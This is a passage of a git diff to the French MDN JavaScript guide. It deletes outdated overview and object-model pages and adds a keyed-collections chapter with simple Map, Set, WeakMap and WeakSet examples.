Il est possible de forcer un générateur à lever une exception en utilisant la méthode throw() en lui passant la valeur de l'exception en argument. Cette exception sera levée depuis l'état actuel du générateur, comme si le yield qui était en attente avait été une instruction throw valeur.

+ +

Si le mot-clé yield n'est pas trouvé lors de la levée de l'exception, l'exception sera propagée jusqu'à l'appel de throw(), les appels à next() qui suivent renverront une valeur dont la propriété done sera true.

+ +

Si l'exception n'est pas interceptée dans le générateur, elle se propagera jusqu'à l'appel de throw() et les appels suivants de next() renverront un objet dont la propriété done vaut true.

+ +

Les générateurs possèdent une méthode return(valeur) qui permet de renvoyer une valeur donnée et de terminer le générateur.

+ +

{{PreviousNext("Web/JavaScript/Guide/Utiliser_les_promesses", "Web/JavaScript/Guide/Métaprogrammation")}}

diff --git a/files/fr/web/javascript/guide/javascript_overview/index.html b/files/fr/web/javascript/guide/javascript_overview/index.html deleted file mode 100644 index a5ec22c993..0000000000 --- a/files/fr/web/javascript/guide/javascript_overview/index.html +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: Aperçu de JavaScript -slug: Web/JavaScript/Guide/JavaScript_Overview -tags: - - Guide - - Intermediate - - JavaScript -translation_of: Web/JavaScript/Guide/Introduction -translation_of_original: Web/JavaScript/Guide/JavaScript_Overview ---- -

{{jsSidebar("JavaScript Guide")}}

-

Ce chapitre est une introduction à JavaScript et détaille quelques-uns des concepts fondamentaux de ce langage.

-

Qu'est-ce que JavaScript ?

-

JavaScript est un langage de script, multi-plateforme, orienté-objet. JavaScript est un langage compact, léger. Il n'est pas conçu pour être utilisé de manière autonome, mais pour être intégré dans d'autres produits et applications tels que les navigateurs web. Dans un environnement hôte, JavaScript peut servir d'interface de manipulation avec les objets mis à disposition par l'environnement.

-

Le noyau du langage JavaScript contient un ensemble d'objets, tels que Array, Date, et Math, et un noyau d'éléments comme les opérateurs, structures de contrôle et déclarations. Le cœur de JavaScript peut être étendu pour remplir différents besoins grâce à des objets additionnels. Par exemple :

-
    -
  • Le JavaScript, côté client, étend le noyau du langage en y ajoutant des objets pour contrôler le navigateur et son Document Object Model (DOM). Les extensions côté client permettent par exemple à une application de placer des éléments dans un formulaire HTML et de répondre à des événements tels que le clic de la souris, une entrée dans un formulaire ou la navigation dans une page.
    • -
  • Le JavaScript, côté serveur, étend le noyau du langage en y ajoutant des objets nécessaires pour faire fonctionner JavaScript sur un serveur. Par exemple, les extensions côté serveur permettent à une application de communiquer avec une base de données relationnelle, d'offrir des informations continues au fur et à mesure des appels, ou encore d'effectuer des manipulations de fichiers sur le serveur.
    • -
-

Grâce à la fonctionnalité LiveConnect, JavaScript peut faire communiquer du code Java avec JavaScript. À partir de JavaScript, on peut instancier des objets Java et accéder à leurs méthodes publiques et attributs. À partir de Java, on peut accéder des objets, propriétés et méthodes JavaScript.

-

Netscape inventa JavaScript et fut le premier navigateur à l'utiliser.

-

JavaScript et Java

-

JavaScript et Java sont semblables en ce qui concerne quelques aspects mais restent fondamentalement différents. JavaScript ressemble à Java, mais il ne possède pas un typage fort et statique. JavaScript suit la syntaxe de la plupart des expressions Java, les conventions de nommage et les structures de flots de contrôle basiques. C'est pour cette raison qu'il a été renommé de LiveScript en JavaScript.

-

En contraste avec le système compile-time des classes construites par des déclarations, JavaScript supporte les systèmes runtime basés sur un petit nombre de types de données représentant des valeurs numériques, booléennes et des chaines de caractères. JavaScript possède un modèle objet basé sur des prototypes au lieu du modèle objet traditionnel. Le modèle basé sur le prototype offre un héritage dynamique. Cela signifie que ce qui est hérité peut varier selon les objets. JavaScript supporte aussi l'écriture de fonctions sans qu'il y ait besoin de déclarations spéciales. Les fonctions peuvent être des propriétés d'objets, exécutées comme des méthodes avec un typage souple.

-

JavaScript est un langage beaucoup plus souple que Java. Il n'est pas nécessaire de déclarer toutes les variables, classes, et méthodes. Il n'y a pas à se soucier qu'une méthode soit publique, privée ou protégée, il n'y a pas à implémenter d'interfaces. Les variables, paramètres et types de retour des fonctions ne sont pas explicitement typés.

-

Java est un langage de programmation basé sur les classes conçues pour une exécution rapide et un typage sûr. La sûreté du typage signifie qu'on ne peut pas transformer un entier en Java en une référence vers un objet ni accéder à la mémoire privée via une corruption du bytecode Java. Le modèle de Java, basé sur les classes, signifie que les programmes se composent exclusivement de classes et de leurs méthodes. L'héritage des classes en Java ainsi que le typage fort exigent généralement une hiérarchie d'objets étroitement couplée. Ces exigences font que la programmation en Java peut s'avérer plus complexe que JavaScript.
-
- En revanche, JavaScript vient d'une lignée de langages plus légers, dynamiquement typés comme HyperTalk et dBASE. Ces langages de script offrent des outils de programmation à un public beaucoup plus large en raison de leur syntaxe plus facile, des fonctionnalités spécialisées intégrées et des exigences minimales pour la création d'objets.

-

Table 1.1 Comparaison entre JavaScript et Java

- - - - - - - - - - - - - - - - - - - - - - -
- Tableau 1.1 Comparaison entre JavaScript et Java
JavaScriptJava
Orienté objet. Pas de distinction entre les types d'objets. L'héritage se fait à travers le mécanisme de prototype et les propriétés et méthodes peuvent être ajoutées à n'importe quel objet dynamique.Basé sur classes. Les objets sont divisés en classes et instances avec une hiérarchie d'héritage. Les classes et les instances ne peuvent pas avoir des propriétés ou des méthodes ajoutées dynamiquement.
Les types des variables ne sont pas déclarés (typage dynamique).Les types des variables doivent être déclarés (typage statique).
On ne peut pas écrire automatiquement sur le disque dur.On ne peut pas écrire automatiquement sur le disque dur.
-

Pour plus d'informations sur la différence entre JavaScript et Java, voir les détails au chapitre du modèle objet de JavaScript.

-

JavaScript et la spécification ECMAScript

-

Netscape a inventé JavaScript et JavaScript a d'abord été utilisé dans les navigateurs Netscape. Cependant, Netscape travailla avec Ecma International - l'association européenne pour la normalisation des systèmes d'information et de communication (ECMA était autrefois un acronyme pour European Computer Manufacturers Association), afin de fournir un standard et un langage de programmation international basée sur le noyau JavaScript. Cette version standardisée de JavaScript, appelée ECMAScript, se comporte de la même façon dans toutes les applications qui prennent en charge la norme. Les entreprises peuvent utiliser le langage standard ouvert pour développer leur implémentation de JavaScript. La norme ECMAScript est documentée dans la spécification ECMA-262.
-
- La norme ECMA-262 est également approuvée par l'ISO (Organisation internationale de normalisation) en tant que norme ISO-16262. Vous pouvez trouver une version PDF de la norme ECMA-262 (version obsolète) sur le site de Mozilla. Vous pouvez également trouver les spécifications sur le site de l'Ecma International. La spécification ECMAScript ne décrit pas le Document Object Model (DOM), qui est standardisé par le World Wide Web Consortium (W3C). Le DOM définit la manière dont les objets des documents HTML sont exposés à votre script.

-

Relation entre les versions de JavaScript et les éditions d'ECMAScript

-

Netscape a travaillé en étroite collaboration avec Ecma International afin de produire la spécification ECMAScript (ECMA-262). Le tableau suivant décrit la relation entre les versions de JavaScript et les éditions d'ECMAScript.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Tableau 1.2 Les versions de JavaScript et les liens avec les versions ECMAScript
Version de JavaScriptLien avec l'édition d'ECMAScript
JavaScript 1.1ECMA-262, Édition 1 basée sur JavaScript 1.1.
JavaScript 1.2 -

ECMA-262 n'était pas terminée lorsque JavaScript 1.2 est sorti. JavaScript 1.2 n'est pas entièrement compatible avec la norme ECMA-262, édition 1, pour les raisons suivantes :

-
    -
  • Netscape a développé des fonctionnalités supplémentaires dans JavaScript 1.2 qui n'ont pas été prises en considération pour ECMA-262.
    • -
  • ECMA-262 ajoute deux nouvelles fonctionnalités : l'internationalisation en utilisant le comportement Unicode et uniforme sur toutes les plateformes. Plusieurs fonctionnalités de JavaScript 1.2, telles que l'objet Date, qui étaient dépendantes de la plateforme.
    • -
-
JavaScript 1.3JavaScript 1.3 est entièrement compatible avec la norme ECMA-262, édition 1.
- JavaScript 1.3 a résolu les contradictions que JavaScript 1.2 a eu avec ECMA-262, tout en conservant toutes les fonctionnalités supplémentaires de JavaScript 1.2, sauf == et! =, qui ont été modifiées pour se conformer à la norme ECMA-262.
JavaScript 1.4JavaScript 1.4 est entièrement compatible avec la norme ECMA-262, édition 1.
- La troisième version de la spécification ECMAScript n'a pas été finalisée lorsque JavaScript 1.4 est sorti.
JavaScript 1.5JavaScript 1.5 est entièrement compatible avec la spécification ECMA-262, édition 3.
-
-

Remarque : ECMA-262 dans sa deuxième édition contenait des modifications mineures et corrections de bugs selon la spécification Édition 1. La version actuelle par le groupe de travail TC39 d'Ecma International est ECMAScript Edition 5.1

-
-

La référence JavaScript indique les fonctionnalités du langage qui sont conformes à ECMAScript.

-

JavaScript inclut toujours des fonctionnalités qui ne font pas partie de la spécification ECMAScript. JavaScript est compatible avec ECMAScript, tout en offrant des fonctionnalités supplémentaires.

-

Documentation de JavaScript et spécification ECMAScript

-

La spécification ECMAScript est un ensemble d'exigences pour la mise en œuvre ECMAScript. Elle est utile pour savoir si une fonctionnalité JavaScript est prise en charge dans d'autres implémentations ECMAScript. Si vous prévoyez d'écrire du code JavaScript qui utilise des fonctionnalités prises en charge par ECMAScript seulement, alors il vous sera peut-être nécessaire de revoir la spécification ECMAScript.
-
- Le document ECMAScript n'est pas destiné à aider les programmeurs de script : c'est le but de la documentation JavaScript.

-

Terminologie JavaScript et ECMAScript

-

La spécification ECMAScript utilise une syntaxe et une terminologie qui peuvent ne pas être familières à un programmeur JavaScript. Bien que la description du langage puisse varier en ECMAScript, le langage lui-même reste le même. JavaScript prend en charge toutes les fonctionnalités décrites dans la spécification ECMAScript.

-

La documentation JavaScript décrit les aspects du langage qui sont appropriés pour un programmeur JavaScript. Par exemple :

-
    -
  • L'objet global n'est pas abordé dans la documentation JavaScript parce qu'il n'a pas à être utilisé directement. Les méthodes et propriétés de l'objet global, que vous utilisez, sont abordées dans la documentation de JavaScript, mais sont appelées fonctions et propriétés de plus haut niveau (top-level).
    • -
  • Le constructeur sans paramètre des objets Number et String ne sont pas abordés dans la documentation JavaScript, parce que le résultat est peu utile. Un constructeur Number appelé sans argument retourne +0, et un constructeur String sans argument retourne "" (une chaine de caractères vide).
    • -
-

« Précédent  Suivant »

-

 

diff --git a/files/fr/web/javascript/guide/keyed_collections/index.html b/files/fr/web/javascript/guide/keyed_collections/index.html new file mode 100644 index 0000000000..82a275c036 --- /dev/null +++ b/files/fr/web/javascript/guide/keyed_collections/index.html @@ -0,0 +1,152 @@ +--- +title: Collections avec clés +slug: Web/JavaScript/Guide/Collections_avec_clés +tags: + - Collections + - Guide + - JavaScript + - Map + - set +translation_of: Web/JavaScript/Guide/Keyed_collections +--- +
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Collections_indexées", "Web/JavaScript/Guide/Utiliser_les_objets")}}
+ +

Ce chapitre présente les collections de données qui sont ordonnées avec une clé. Les objets Map et Set contiennent des éléments sur lesquels on peut itérer dans leur ordre d'insertion.

+ +

Maps

+ +

Le type Map

+ +

ECMAScript 2015 introduit une nouvelle structure de données pour faire correspondre des données entre elle. Un objet {{jsxref("Map")}} représente une collection de données qui sont des correspondances entre des clés ou valeurs et pour lequel on peut itérer dans l'ordre d'insertion pour lister les différentes clés / valeurs.

+ +

Le code suivant illustre certaines opérations basiques avec Map. Pour plus d'informations sur cet objet, voir également la page de référence {{jsxref("Map")}}. Il est possible d'utiliser une boucle {{jsxref("Instructions/for...of","for...of")}} pour renvoyer un tableau [clé, valeur] à chaque itération.

+ +
var sayings = new Map();
+sayings.set("dog", "woof");
+sayings.set("cat", "meow");
+sayings.set("elephant", "toot");
+sayings.size; // 3
+sayings.get("fox"); // undefined
+sayings.has("bird"); // false
+sayings.delete("dog");
+
+for (var [key, value] of sayings) {
+  console.log(key + " goes " + value);
+}
+// "cat goes meow"
+// "elephant goes toot"
+
+ +

Comparaison entre les types Object et Map

+ +

Habituellement, les objets {{jsxref("Object", "objets", "", 1)}} ont été utilisés pour faire correspondre des chaînes avec des valeurs. Les objets permettent d'associer des clés avec des valeurs, de récupérer ces valeurs, de supprimer des clés, de détecter si quelque chose est enregistré dans une clé. Le type Map possède cependant certains avantages pour être utilisés comme maps.

+ +
    +
  • Les clés d'un objet de type Object sont des chaînes de caractères. Pour Map, une clé peut être une valeur de n'importe quel type.
    • +
  • On peut simplement obtenir la taille d'un objet Map alors qu'il faut tenir compte manuellement du nombre de clés contenue dans un objet Object.
    • +
  • Les itérations sur les maps se font dans l'ordre d'insertion des éléments.
    • +
  • Un objet de type Object possède un prototype, il y a donc des clés par défaut déjà présentes dans l'objet. (cela peut être surchargé en utilisant map = Object.create(null)).
    • +
+ +

Pour savoir si on doit utiliser le type Map ou le type Object, on peut considérer les aspects suivants :

+ +
    +
  • On utilisera des maps plutôt que des objets lorsque les clés sont inconnues avant l'exécution et lorsque toutes les clés sont de même type et que les valeurs sont de même type.
    • +
  • On utilisera des maps lorsque les clés peuvent être des valeurs primitives autres que des chaînes de caractères (en effet, les objets considèrent toutes leurs clés comme des chaînes en convertissant les valeurs).
    • +
  • On utilisera des objets lorsqu'il y a une logique propre à des éléments individuels.
    • +
+ +

Le type WeakMap

+ +

L'objet {{jsxref("WeakMap")}} est une collection de paires clés/valeurs pour lesquelles les clés sont uniquement des objets (les valeurs peuvent être d'un type arbitraire). Les références vers les objets sont des références « faibles ». Cela signifie qu'elles seront collectées par le ramasse-miettes s'il n'y a pas d'autres références vers cet objet. L'API WeakMap offre les mêmes fonctionnalités que l'API Map.

+ +

La différence entre le type Map et le type WeakMap est que les clés d'un objet WeakMap ne sont pas énumérables (c'est-à-dire qu'on n'a pas de méthode pour donner la liste des clés). S'il en existait une, la liste dépendrait de l'état d'avancement du ramasse-miettes, ce qui introduirait un non-déterminisme.

+ +

Pour plus d'informations et d'exemples, voir également le paragraphe « Pourquoi WeakMap ? » sur l'article {{jsxref("WeakMap")}} de la référence.

+ +

Un cas d'utilisation des objets WeakMap est le stockage de données privées d'un objet ou pour cacher certains détails d'implémentation. L'exemple qui suit est tiré du billet de blog de Nick Fitzgerald « Masquer des détails d'implémentation avec les WeakMaps ECMAScript 6 ». Les données et méthodes privées sont stockées dans l'objet WeakMap privates. Tout ce qui est exposé par l'instance et le prototype est public. Tout ce qui est en dehors est inaccessible car privates n'est pas exporté depuis le module :

+ +
const privates = new WeakMap();
+
+function Public() {
+  const me = {
+    // Les données privées ici
+  };
+  privates.set(this, me);
+}
+
+Public.prototype.method = function () {
+  const me = privates.get(this);
+  // On fait des choses avec les données privées dans `me`...
+};
+
+module.exports = Public;
+
+ +

Les ensembles

+ +

Le type Set

+ +

Les objets {{jsxref("Set")}} sont des ensembles de valeurs. Il est possible de les parcourir dans l'ordre d'insertion des éléments. Une valeur d'un élément Set ne peut y apparaître qu'une seule fois, il est unique pour cette instance de Set.

+ +

Le code suivant illustre certaines opérations basiques avec Set. Voir aussi la page {{jsxref("Set")}} pour plus d'exemples et l'API complète.

+ +
var monEnsemble = new Set();
+monEnsemble.add(1);
+monEnsemble.add("du texte");
+monEnsemble.add("toto");
+
+monEnsemble.has(1); // true
+monEnsemble.delete("toto");
+monEnsemble.size; // 2
+
+for (let item of monEnsemble) console.log(item);
+// 1
+// "du texte"
+
+ +

Convertir des tableaux (Array) en ensembles (Set)

+ +

Il est possible de créer un {{jsxref("Array")}} à partir d'un Set grâce à {{jsxref("Array.from")}} ou l'opérateur de décomposition. Pour effectuer la conversion dans l'autre sens, on peut utiliser le constructeur Set avec un argument de type Array. Encore une fois, les objets Set stockent des valeurs uniques, les éléments dupliqués dans un tableau seront supprimés lors de la conversion.

+ +
Array.from(monSet);
+[...monSet2];
+
+monSet2 = new Set([1,2,3,4]);
+
+ +

Comparaison entre Array et Set

+ +

Historiquement, on représentait des ensembles avec des tableaux JavaScript. Ce nouveau type, Set, possède certains avantages :

+ +
    +
  • Lorsqu'on souhaite vérifier si un élément existe déjà dans un tableau, on est obligé d'utiliser {{jsxref("Array.indexOf", "indexOf")}} ce qui peut diminuer les performances.
    • +
  • Les objets Set permettent de supprimer les éléments avec leur valeur. Avec un tableau, il faudrait « découper » le tableau sur l'indice de l'élément.
    • +
  • Dans un tableau, la valeur {{jsxref("NaN")}} ne peut pas être trouvée avec la méthode indexOf.
    • +
  • Les objets Set permettent de stocker des valeurs uniques, il n'est pas nécessaire d'effectuer des vérifications manuellement.
    • +
+ +

Le type WeakSet

+ +

Les objets {{jsxref("WeakSet")}} sont des ensembles d'objets. Un objet d'un WeakSet ne peut y apparaître qu'une seule fois maximum. On ne peut pas itérer sur les objets WeakSet (ils ne sont pas énumérables).

+ +

Les principales différences avec l'objet {{jsxref("Set")}} sont :

+ +
    +
  • Contrairement aux objets Set, les objets WeakSet sont des ensembles qui ne comprennent que des objets, les valeurs ne peuvent pas être d'un type arbitraire.
    • +
  • Les objets WeakSet utilisent des références faibles vers les objets. Ainsi, s'il n'y a pas d'autres références vers l'objet stocké dans le WeakSet, celui-ci pourra être collecté par le ramasse-miettes pour libérer de la mémoire. Cela signifie également qu'on ne peut pas maintenir une liste des différents objets contenus dans l'ensemble : les objets WeakSet ne sont pas énumérables.
    • +
+ +

Les cas d'utilisations pour les objets WeakSet objects sont relativement limités. Ils empêcheront toute fuite mémoire donc on pourra, de façon sécurisée, les utiliser avec des éléments DOM qui pourront être des clés (pour les utiliser par ailleurs, etc.).

+ +

Égalité des clés et des valeurs avec Map et Set

+ +

L'égalité utilisée pour les clés des objets Map et celle utilisée pour les valeurs des objets Set sont les mêmes : elles sont basées sur l'algorithme suivant :

+ +
    +
  • L'égalité fonctionne de la même façon qu'avec l'opérateur d'égalité stricte ===.
    • +
  • -0 et +0 sont considérés égaux.
    • +
  • {{jsxref("NaN")}} est considéré égal à lui-même (contrairement à ce qu'on obtient avec ===).
    • +
+ +

{{PreviousNext("Web/JavaScript/Guide/Collections_indexées", "Web/JavaScript/Guide/Utiliser_les_objets")}}

diff --git "a/files/fr/web/javascript/guide/le_mod\303\250le_objet_javascript_en_d\303\251tails/index.html" "b/files/fr/web/javascript/guide/le_mod\303\250le_objet_javascript_en_d\303\251tails/index.html" deleted file mode 100644 index 50a78fdf27..0000000000 --- "a/files/fr/web/javascript/guide/le_mod\303\250le_objet_javascript_en_d\303\251tails/index.html" +++ /dev/null @@ -1,747 +0,0 @@ ---- -title: Le modèle objet JavaScript en détails -slug: Web/JavaScript/Guide/Le_modèle_objet_JavaScript_en_détails -tags: - - Guide - - Intermediate - - JavaScript - - Object -translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model ---- -

{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Utiliser_les_objets", "Web/JavaScript/Guide/Utiliser_les_promesses")}}

- -

JavaScript est un langage objet basé sur des prototypes plus que sur des classes. Cette différence peut rendre difficile la compréhension des hiérarchies entre objets, leurs créations, l’héritage de propriétés et de leurs valeurs... L’objectif de ce chapitre est de clarifier ces différents éléments en expliquant le modèle prototypal et ses différences avec un système de classes.

- -

Avant de lire ce chapitre, il est conseillé d’avoir quelques bases en JavaScript, notamment en ayant déjà écrit quelques fonctions et manipulé des objets.

- -

Langages de prototypes / Langages de classes

- -

Les langages orientés objet basés sur des classes, comme Java ou C++, se fondent sur deux entités principales distinctes : les classes et les instances.

- -
    -
  • Une classe définit l’ensemble des propriétés (que ce soit les méthodes et les attributs en Java, ou les membres en C++) caractérisant un certain ensemble d’objets. Une classe est une représentation abstraite et non pas la représentation particulière d'un membre de cet ensemble d'objets. Par exemple, la classe Employé permettrait de représenter l’ensemble de tous les employés.
    • -
  • Une instance correspond à l’instanciation d'une classe. C’est un de ses membres. Ainsi, Victoria pourrait être une instance de la classe Employé et représenterait un individu en particulier comme un employé. Une instance possède exactement les mêmes propriétés que sa classe (ni plus ni moins).
    • -
- -

Un langage basé sur des prototypes, comme JavaScript, n’utilise pas cette distinction. Il ne possède que des objets. On peut avoir des objets prototypiques qui sont des objets agissant comme un modèle sur lequel on pourrait obtenir des propriétés initiales pour un nouvel objet. Tout objet peut définir ses propres propriétés, que ce soit à l’écriture ou pendant l’exécution. De plus, chaque objet peut être associé comme le prototype d’un autre objet, auquel cas le second objet partage les propriétés du premier.

- -

La définition d'une classe

- -

Dans les langages de classes, on doit définir une classe dans une définition de classe. Dans cette définition, on peut inclure certaines méthodes spéciales, comme les constructeurs qui permettent de créer de nouvelles instances de cette classe. Un constructeur permet de définir certaines valeurs initiales pour des propriétés de l’instance et d’effectuer certains traitements lors de la création d’une instance. L’opérateur new, utilisé avec le constructeur, permet de créer de nouvelles instances.

- -

Le fonctionnement de JavaScript est similaire. En revanche, il n’y a pas de différence entre la définition de la classe et le constructeur. La fonction utilisée pour le constructeur permet de créer un objet avec un ensemble initial de propriétés et de valeurs. Toute fonction JavaScript peut être utilisée comme constructeur. L’opérateur new doit être utilisé avec un constructeur pour créer un nouvel objet.

- -
-

Note : Bien qu'ECMAScript 2015 introduise une déclaration de classe, celle-ci n'est qu'un sucre syntaxique utilisant l'héritage à base de prototype. Cette nouvelle syntaxe n'introduit pas de nouveau paradigme d'héritage objet au sein de JavaScript.

-
- -

Classes-filles et héritage

- -

Dans un langage de classes, on peut créer une hiérarchie de classes à travers la définition de classe. En effet, dans cette définition, on peut préciser si la nouvelle classe est une classe-fille d'une classe existante. La classe-fille hérite alors des propriétés de la classe-parente et peut ajouter de nouvelles propriétés ou modifier les propriétés héritées. Si, par exemple, la classe Employé comprend les propriétés nom et branche et que Manager est une classe-fille de la classe Employee qui ajoute la propriété rapports. Dans cet exemple, une instance de la classe Manager aurait trois propriétés : nom, branche, et rapports.

- -

En JavaScript, l’héritage permet d’associer un objet prototypique avec n’importe quel constructeur. Ainsi, on peut créer le même exemple Employé — Manager mais on utilisera une terminologie légèrement différente. Tout d’abord, on définit le constructeur (fonction) Employé et on y définit les propriétés nom et branche. Ensuite, on définit le constructeur Manager avec la propriété rapports. Enfin, on assigne un nouvel objet Employé comme prototype dans le constructeur Manager. Ainsi, quand on créera un nouvel objet Manager, il héritera des propriétés nom et branche de l’objet Employé.

- -

Ajouter ou retirer des propriétés

- -

Dans un langage de classe, les classes sont créées durant la compilation et les instanciations de la classe ont lieu durant la compilation ou durant l’exécution. Il n’est pas possible de modifier les propriétés (leur quantité, leurs types) une fois que la classe a été définie. JavaScript, en revanche, permet d’ajouter ou de retirer des propriétés à n’importe quel objet pendant l’exécution. Si une propriété est ajoutée à un objet utilisé comme prototype, tous les objets qui l’utilisent comme prototype bénéficieront de cette propriété.

- -

Résumé des différences

- -

Le tableau suivant fournit un rapide récapitulatif de ces différences. Le reste du chapitre décrira l’utilisation de constructeur et de prototypes en JavaScript ainsi que la méthode correspondante qui pourrait être utilisée en Java.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CatégorieLangage de classe (Java)Langage de prototype (JavaScript)
Classe ou instanceLes classes et les instances sont deux entités distinctes.Tous les objets sont des instances.
DéfinitionUne classe est définie avec une définition de classe. On instancie une classe avec des méthodes appelées constructeursOn définit et on crée un ensemble d’objets avec des fonctions qui sont des constructeurs.
Création d'un nouvel objetOn crée un seul objet grâce à l’opérateur new.Même chose que pour les langages de classe.
Construction de la hiérarchie des objetsOn construit une hiérarchie d’objets en utilisant les définitions des classes pour définir des classes-filles à partir de classes existantes.On construit une hiérarchie d’objets en assignant un prototype à un objet dans le constructeur de cet objet.
Modèle d'héritageLes objets héritent des propriétés appartenant à la chaîne des classes de la hiérarchie.Les objets héritent des propriétés appartenant à la chaîne des prototypes de la hiérarchie.
Ajout de propriétésLa définition de la classe définit exactement toutes les propriétés de toutes les instances d’une classe. Il est impossible d’ajouter des propriétés dynamiquement pendant l’exécution.Le constructeur ou le prototype définit un ensemble de propriétés initiales. Il est possible d’ajouter ou de retirer des propriétés dynamiquement, pour certains objets en particuliers ou bien pour l’ensemble des objets.
- -

L’exemple de l’employé

- -

La suite de ce chapitre expliquera la hiérarchie objet suivante, modélisant un système avec différents employés :

- -

- -

Une hiérarchie objet basique

- -

Cet exemple utilisera les objets suivants :

- -
    -
  • Employé qui possède la propriété nom (dont la valeur par défaut est la chaîne de caractères vide) et branche (dont la valeur par défaut est "commun").
    • -
  • Manager qui est basé sur Employé. La propriété rapports est ajoutée (la valeur par défaut est un tableau vide, ce sera un tableau rempli d’objets Employés).
    • -
  • Travailleur est également basé sur Employé. La propriété project est ajoutée (la valeur par défaut est un tableau vide, ce sera un tableau rempli de chaînes de caractères).
    • -
  • Vendeur est basé sur Travailleur. La propriété quota est ajoutée (la valeur par défaut est 100). La propriété branche est surchargée et vaut "ventes", indiquant que tous les vendeurs font partie du même département.
    • -
  • Ingénieur est basé sur Travailleur. La propriété moteur est ajoutée (la valeur par défaut est la chaîne vide) et la propriété branche est surchargée avec la valeur "ingénierie".
    • -
- -

La création de la hiérarchie

- -

Plusieurs fonctions utilisées comme constructeurs peuvent permettre de définir la hiérarchie souhaitée. La façon que vous utiliserez dépendra des fonctionnalités que vous souhaitez avoir dans votre application.

- -

On utilise ici des définitions très simples (et peu adaptables) permettant de montrer le fonctionnement de l’héritage. Grâce à ces définitions fournies, on ne peut pas définir des valeurs spécifiques pour les propriétés lors de la création de l’objet. Les objets créés reçoivent les valeurs par défaut, les propriétés pourront être changées par la suite.

- -

Pour une application réelle, on définirait des constructeurs permettant de fixer les valeurs des propriétés lors de la création (voir Des constructeurs plus flexibles). Ici, ces définitions nous permettent d’observer l’héritage.

- -
-

Attention, quand on assigne une fonction directement à NomFonction.prototype, cela retire la propriété « constructeur » du prototype original. Ainsi, (new Travailleur).constructor renverra un Employé (et non pas Travailleur). Il faut faire attention à la façon de conserver le constructeur original du prototype. On peut, par exemple, l'assigner à NomFonction.prototype.__proto__. Dans notre exemple, on aurait ainsi, Travailleur.prototype.__proto__ = new Employé; de cette façon : (new Travailleur).constructor renvoie bien « Travailleur ».

-
- -

Les définitions d’Employé suivantes, en Java et JavaScript sont assez semblables. Les seules différences proviennent du typage nécessaire : avec Java, il est nécessaire de préciser le type des propriétés alors que ce n’est pas le cas en JavaScript. En Java, il est également nécessaire de créer une méthode constructeur à part dans la classe.

- - - - - - - - - - - - - - -
JavaScriptJava
- 
-function Employé () {
-  this.nom = "";
-  this.branche = "commun";
-}
-
- 		- 
-public class Employé {
-   public String nom;
-   public String branche;
-   public Employé () {
-      this.nom = "";
-      this.branche = "commun";
-   }
-}
-
-
- -

Les définitions de Manager et Travailleur permettent de voir la différence dans les façons de définir un objet plus loin dans la relation d’héritage. En JavaScript, il faut ajouter une instance prototypique comme valeur de la propriété prototype de la fonction constructeur (autrement dit, on définit la valeur de la propriété prototype de la fonction, en utilisant une instance du prototype utilisé puis en surchargeant prototype.constructor). On peut faire cela à n’importe quel moment après la définition du constructeur. Avec Java, on définit la classe mère au sein de la définition de la classe et il n’est pas possible de définir cette relation en dehors de la définition de la classe.

- - - - - - - - - - - - - - -
JavaScriptJava
- 
-function Manager () {
-  this.rapports = [];
-}
-Manager.prototype = new Employé;
-
-function Travailleur () {
-  this.projets = [];
-}
-Travailleur.prototype = new Employé;
-
- 		- 
-public class Manager extends Employé {
-   public Employé[] rapports;
-   public Manager () {
-      this.rapports = new Employé[0];
-   }
-}
-
-public class Travailleur extends Employé {
-   public String[] projets;
-   public Travailleur () {
-      this.projets = new String[0];
-   }
-}
-
-
- -

Les définitions d’Ingénieur et de Vendeur permettent de créer des objets qui héritent de Travailleur et donc, implicitement, de Employé. Un objet d’un de ces deux types possède les propriétés de tous les objets présents plus haut dans l’héritage. De plus, dans notre exemple, les définitions de ces types surchargent les valeurs de la propriété branche avec des valeurs spécifiques.

- - - - - - - - - - - - - - -
JavaScriptJava
- 
-function Vendeur () {
-   this.branche = "ventes";
-   this.quota = 100;
-}
-Vendeur.prototype = new Travailleur;
-
-function Ingénieur () {
-   this.branche = "ingénierie";
-   this.moteur = "";
-}
-Ingénieur.prototype = new Travailleur;
-
- 		- 
-public class Vendeur extends Travailleur {
-   public double quota;
-   public Vendeur () {
-      this.branche = "ventes";
-      this.quota = 100.0;
-   }
-}
-
-public class Ingénieur extends Travailleur {
-   public Ingénieur () {
-      this.branche = "ingénierie";
-      this.moteur = "";
-   }
-}
-
-
- -

Grâce à ces définitions, on peut créer des instances pour ces objets qui auront les valeurs par défaut pour leurs propriétés. Le schéma suivant montre comment utiliser ces définitions en JavaScript et illustre les propriétés des objets ainsi créés.

- -
-

Le terme instance possède un sens particulier, au niveau technique, pour les langages de classes. Pour ces langages, une instance est le résultat de l’instanciation d’une classe en un objet (qui sera un « exemplaire » de cette classe), le concept d’instance est donc fondamentalement différent du concept de classe. En JavaScript, une « instance » ne possède pas de sens technique particulier, ceci est notamment dû au fait qu'il n’y a pas d’opposition entre ces concepts (car il n’y a pas de classe). Cependant, le terme instance peut parfois être utilisé, en JavaScript, pour désigner un objet qui aurait été créé en utilisant un constructeur. De la même façon, les mots parent, enfant, ancêtre, et descendant n’ont pas de signification formelle en JavaScript, mais ils peuvent être utilisés pour faire référence aux différents objets appartenant aux différents niveaux de la chaîne de prototypes.

-
- -

Créer des objets avec des définitions simples

- -

Les propriétés d’un objet

- -

Dans cette section, nous verrons comment les objets héritent des propriétés d’autres objets de la chaîne de prototypes et de ce qui se passe quand on ajoute une propriété lors de l’exécution.

- -

L’héritage de propriétés

- -

Imaginons qu’on souhaite créer un objet marc qui est un Travailleur :

- -
var marc = new Travailleur;
-
- -

Lorsque JavaScript rencontre l’opérateur new, un objet générique est créé, ce nouvel objet est passé comme valeur de this à la fonction constructeur de Travailleur. Le constructeur définit ensuite la valeur de la propriété projets puis il définit implicitement la valeur de la propriété interne [[Prototype]] avec la valeur de Travailleur.prototype. (Le nom de cette propriété commence et finit par deux tirets bas.) La propriété __proto__ détermine la chaîne de prototypes utilisée pour renvoyer les valeurs des propriétés qu’on pourrait utiliser. Quand ces propriétés sont définies, JavaScript renvoie le nouvel objet, l’instruction d’assignation assigne alors la variable marc à cet objet.

- -

